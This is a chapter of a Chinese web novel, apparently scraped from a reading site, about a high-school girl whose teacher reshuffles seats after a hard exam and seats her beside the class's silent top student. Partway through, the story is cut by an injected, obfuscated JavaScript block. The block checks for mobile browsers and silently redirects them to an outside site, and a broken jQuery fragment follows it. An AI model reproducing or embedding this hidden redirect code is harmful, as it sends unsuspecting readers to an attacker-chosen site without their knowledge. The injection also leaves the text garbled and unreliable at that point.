南峤的九月底,蝉鸣不再,阴云连绵。
十月一放假前的最后一次月考,堪称毁天灭地。
南峤一高的效率迅捷,最后一场考试结束后,每个学科的答案已经分发到了各班。
有人辟谷还没有挨到凳子,班里热火朝天对答案的情景已然开场,哀嚎一片。
“我他娘,课代表,你这抄的真的是正确答案吗?!”
“就知道肯定对的不多,妈的,这次考试是人出的题吗我请问呢?”
“诶,你怎么不对答案?”
班里传荡着被月考伤透心的哀鸣和愤恨,自己的同桌却安静的出奇,那男生不免好奇。
被问的那人双眼无神,面色呆滞的看着黑板,各科卷子胡乱放了一桌子,整个人看起来像是已经走了好一会儿了。
他机械般转过头,看着同桌,生无可恋道:“我数学最后三道大题都没来及写……”
“你怎么样啊?”安好哭丧着脸,问着自己的同桌。
看样子也是冲击不小。
她看着自己改了一半的卷子,前两页惨不忍睹,后面的大题她已经没有勇气再改下去了。
“我只能说十月一的旅游计划完美泡汤,”乔汐恬神色淡然,仿佛早已知晓现在的结果,但连错三题还是让她的笔尖抖颤,画叉的最后一笔被她拉长到下一题,“我妈肯定不会让我出去了,肯定不会了。”
说着,乔汐恬的红笔被扔在一旁。
她转身,和安好相拥而泣,泪却是没掉一滴。
“再这样下去,我真要回去放牛放羊喂猪了。”安好呜呜哭道。
乔汐恬怅然道:“我们真的不是学习的料,回家睡觉吧,回家睡觉吧,至少被窝里还是温暖的。”
两人说完,分开贴在一起的头,相望对方。
下一秒,又是相拥而“泣”。
“呜呜呜…”
“呜呜呜呜…”
“诶,你说这次月考这么难,咱这一整个年级是不是都考的不怎么样。”安好看着黑板上的英语答案,心里默记着BBCAD的选项答案,低头批改。
“不可能,”乔汐恬的动作和安好意外的同步,低头道:“你可别忘了周安屿,他啊,地球爆炸了也能考一高第一。”
安好:“哦~对哦,我都忘了还有周安屿呢。”
她的视线不自主的落在教室对侧第三排的位置,即便只能看到那人的侧脸,也能感知出平静淡然的气息无形的围绕在他周身。
和班里的嘈杂格格不入。
周安屿。
分班名单的第一名。
南峤一高,是南峤市高中教育事业的领头羊,这里的学生都是中考成绩排名上游的人,一本率常年稳居第一。
而一高的高一新生分班规则众人皆知,按照中考成绩的排名,S型分布。
第一名在高一一班,第二名在高二二班,直至第九名在高一九班。
而后便是第十名在高一九班,第十一名在高一八班,以此类推。
他们这届高一出了名。
因为第一名是以满分的中考成绩进来的。
而那个人,就是周安屿。
长相好看,面容清俊,身形清瘦挺拔,说是校草也不为过。
毕竟刚开学的那段时间,她们班门口总是围着一群人,都是来看周安屿的。
虽然相貌身高都是数一数二的好,但性格古怪,总是沉默寡言,独来独往。
用乔汐恬的话来说,他就像一个空心的玻璃匣子,冰冰冷冷的,身上不见一点人情味。
这就是安好对他的印象。
从开学到现在,两个人完全没有交集,一句话都没有说过。
安好都不确定,等到高二的文理分科,周安屿会不会记得他们班里人的名字。
“好了,别再说话了,”年轻的班主任进了班,语气温和,“答案都对完了没。”
底下异口同声的拖长了尾音,“没有。”
“行,你们就对着,然后听我说哈。”
“这次月考之后,在十月一放假前,我会把你们现在所有人的座位打乱,重新安排座位。”
窗外应景的雷声炸响,和刚得知这骇人惊悚消息如遭雷劈的冲击产生了同频的共鸣。
“啊?”
“什么?!”
“为什么啊?!”
“要不要这么无情啊,这次考试都已经够糟心了,还要换位置。”
他们班向来是每个月月考成绩出来之后,按照成绩名次,从高到低依次自己选择座位。
如果说开学报道的第一天,每个人的座位都是自己随机挑选,那么第二次便是目标明确的有向性选择。
毕竟有些人刚到一个全新且陌生的环境,会激发他们的生存本能,下意识渴望找到一个好朋友去调节新环境带来的焦虑。
第一个月熟悉之后,绝大多数人挑选的还是原来的位置,只有个别人换了座位。
接连第二个月、第三个月都是这样。
班主任很快发现了异样,有不少学科老师和他反应,班里有些人上课一直和自己的同桌讲话开小差,实在扰乱课堂纪律,建议把他们都分开,不然可能会越来越严重。
班主任刚开始还不相信。
因为在他的课堂上,自己的学生从来没有出现过这样的问题。
所以在此之后,他偶尔会在其他课上课之后,偷偷站在教室最后的一扇窗户那里观察求证,发现那些老师果然没说错。
他也想明白了,有自己班主任这一层身份在,就会如同封印一般罩在他们头顶,那些皮猴不敢造次。
因此,班主任当机立断,决定在这次月考后乃至他们的高中生活结束,座位都由自己来安排。
“小点声,别说话了。”班主任高声制止众人的愁怨,“再让你们这样做下去,恐怕哪天屋顶都得被你们掀开。”
池鱼之殃祸及人员众多,包括安好和乔汐恬。
虽然两个人待在一起的时候活跃的要翻了天,但从不会在课堂上逾矩,老实本分,该做什么的时候就会做什么。
班主任:“行了,十月一放假前一天,我会把座位表拿到班里,走之前把位置换好就行。”
说完便潇洒离开。
这次月考结束,还有两天时间就到了十月一,正好给各科老师都留了时间讲卷子。
听到班主任通知的瞬间,两个小姑娘惊愕地对上了彼此的双眼,一股酸涩覆上安好心头,接踵而至的还有阵阵失落。
“为什么要这样啊,对我们这些上课认真听讲的人一点都不公平!”
即使安好的声音不大,语气里的难过和忿忿不平仍旧能让人感受到。
她在这个班里最熟悉的人,也是唯一的好朋友就是乔汐恬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447758|185173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而乔汐恬同样如此。
在如此陌生的环境下,她们已无心再去寻求下一份熟络的情谊。
安好问了那一句话,两个小姑娘都没有再说话。
惆怅,酸楚,漫上心间。
两天的时间如同上弦的箭。
放假前一天的中午,班主任拿着新的座位表进了班,引起了不小的骚动。
有人急不可耐,在他投影上白板之前就跑上了讲台,一群人乌泱泱的挤上前,把班主任围成了一朵黑花。
“我去…”
“还行还行。”
有人看到座位表面色讶然,有人看到后摸了摸自己胸口,一脸庆幸的离开了讲台。
每个人神色迥异,看的安好和乔汐恬心痒痒,愈发想知道那张纸的结果是什么样的。
白板投影开启,半张A4纸大小的座次表乍现在屏幕上,尽收眼底。
“啪——”
安好转笔的动作戛然而止,水性笔从手中脱落,在桌子上滚动着掉下了水磨石地板。
安好和周安屿的名字赫然排列在一起。
“班主任怎么把你跟周安屿安排到一起去了?!”乔汐恬一把抓住安好僵住的胳膊,皱着眉头看向她。
微张的嘴还没来得及合上,安好目光呆滞地对上乔汐恬的视线,“完了…”
悬着心终于还是碎成了渣渣。
班主任自己安排座位的话,打乱所有人的同桌是板上钉钉的事。安好知道自己的同桌一定不会是乔汐恬。
既然不是自己的好朋友,那和谁做同桌都无所谓,剩下的所有人在她眼里没有区别。
她想过自己可能会和说过一两句话的人坐在一起,那是她所预料的最差结果。
但是从没想过结果会这么差。
别说面对面交流了,她和周安屿连视线都没有碰在一起过。
“一会儿你们吃完中午饭就抓紧回班,趁午休前把位置给换了。”
看着全班学生的脸上无一有欢欣之色,班主任推了推架在鼻梁上的眼镜,满意的扬长离去。
想起往后自己可能要过一个月的苦命日子,安好觉得回到原座位搬书的时间都弥足珍贵。
在她搬去第三次书的时候,周安屿已经收拾完东西坐在了椅子上。
她的座位在里面挨着窗户。
安好抱着书站在他身后,犹豫地开口:“那个不好意思,让我进去一下呗,谢谢。”
周安屿听见声音,回头看了安好一眼,没说话,起身站在了过道那里。
许是知道她还有书没搬完,料到安好还要出去,周安屿站在那里没动,身后也留出了给其他人走路的地方。
安好是这样想的。
出去的时候膝盖还碰到了周安屿的凳子,她强忍着走远了才“嘶哈嘶哈”揉了两下磕到的地方。
三个月没换过座位,她陆陆续续拿了不少东西来学校,目测还需要两三趟才能搬完。
她以为自己离开之后,周安屿就会重新坐在位置上,为此还苦恼,每次她要进出的时候怎么和他说,请他让一下。
她怕自己进出太频繁,有些麻烦,惹人生厌。
可当她搬着东西回去的时候,发现周安屿仍旧站在过道上,低着头看卷子,他的椅子也被推到了桌子底下,两排课桌之间畅通无阻。
……
她觉得更不好意思了。